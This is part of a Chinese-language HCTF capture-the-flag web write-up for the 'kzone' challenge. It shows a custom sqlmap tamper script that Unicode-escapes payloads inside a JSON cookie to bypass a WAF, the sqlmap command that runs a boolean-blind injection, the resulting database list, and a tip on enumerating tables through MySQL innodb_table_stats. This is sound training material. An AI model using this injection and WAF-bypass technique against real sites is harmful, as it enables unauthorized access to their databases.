Cookie: islogin=1;login_data=*
Connection: close
Upgrade-Insecure-Requests: 1
user=admin&pass=1&login=Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/usr/share/sqlmap/tamper/hctf.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload
1
2
3
4
payload
┌─[thekingofnight@parrot]─[~/Temp]
└──╼ $sqlmap -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
1
2
3
4
5
6
result
available databases [3]:
[*] hctf_kouzone
[*] information_schema
[*] mysql

剩下的就无脑操作了。
这到题目好像有写的权限,数据库里有一些不可名状的东西,服务器今天还中断了一段时间,联系出题人才修好。

自己的不足之处

1.json 反序列化时,会将Unicode 解码的特性,实现了完全绕过 WAF ,这里其实是我过滤的不够完善了。大家可以想一下,如果\ 也被过滤掉,还有没有其他姿势呢?
2.过滤了 or 导致没有办法通过 information_schema 库来查询表名,然而其实MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

而从 install.sql 中可以看出,网站使用的正是innodb 引擎

1
2
3
4
5
6
7
8
9
10
CREATE TABLE IF NOT EXISTS `fish_admin` (
`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(20) NOT NULL,
`password` char(32) NOT NULL,
`name` varchar(255) DEFAULT '',
`qq` varchar(255) DEFAULT '',
`per` int(11) NOT NULL DEFAULT '3',
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

参考

http://www.vuln.cn/8132
http://www.melodia.pw/?p=918
https://www.anquanke.com/post/id/163958#h2-0
http://skysec.top/2018/11/09/2018-HCTF-Web-Writeup/#Kzone

CATALOG
  1. 1. HCTF WEB wp
  2. 2. hide and seek
  3. 3. kzone
    1. 3.1. 自己的不足之处
  4. 4. 参考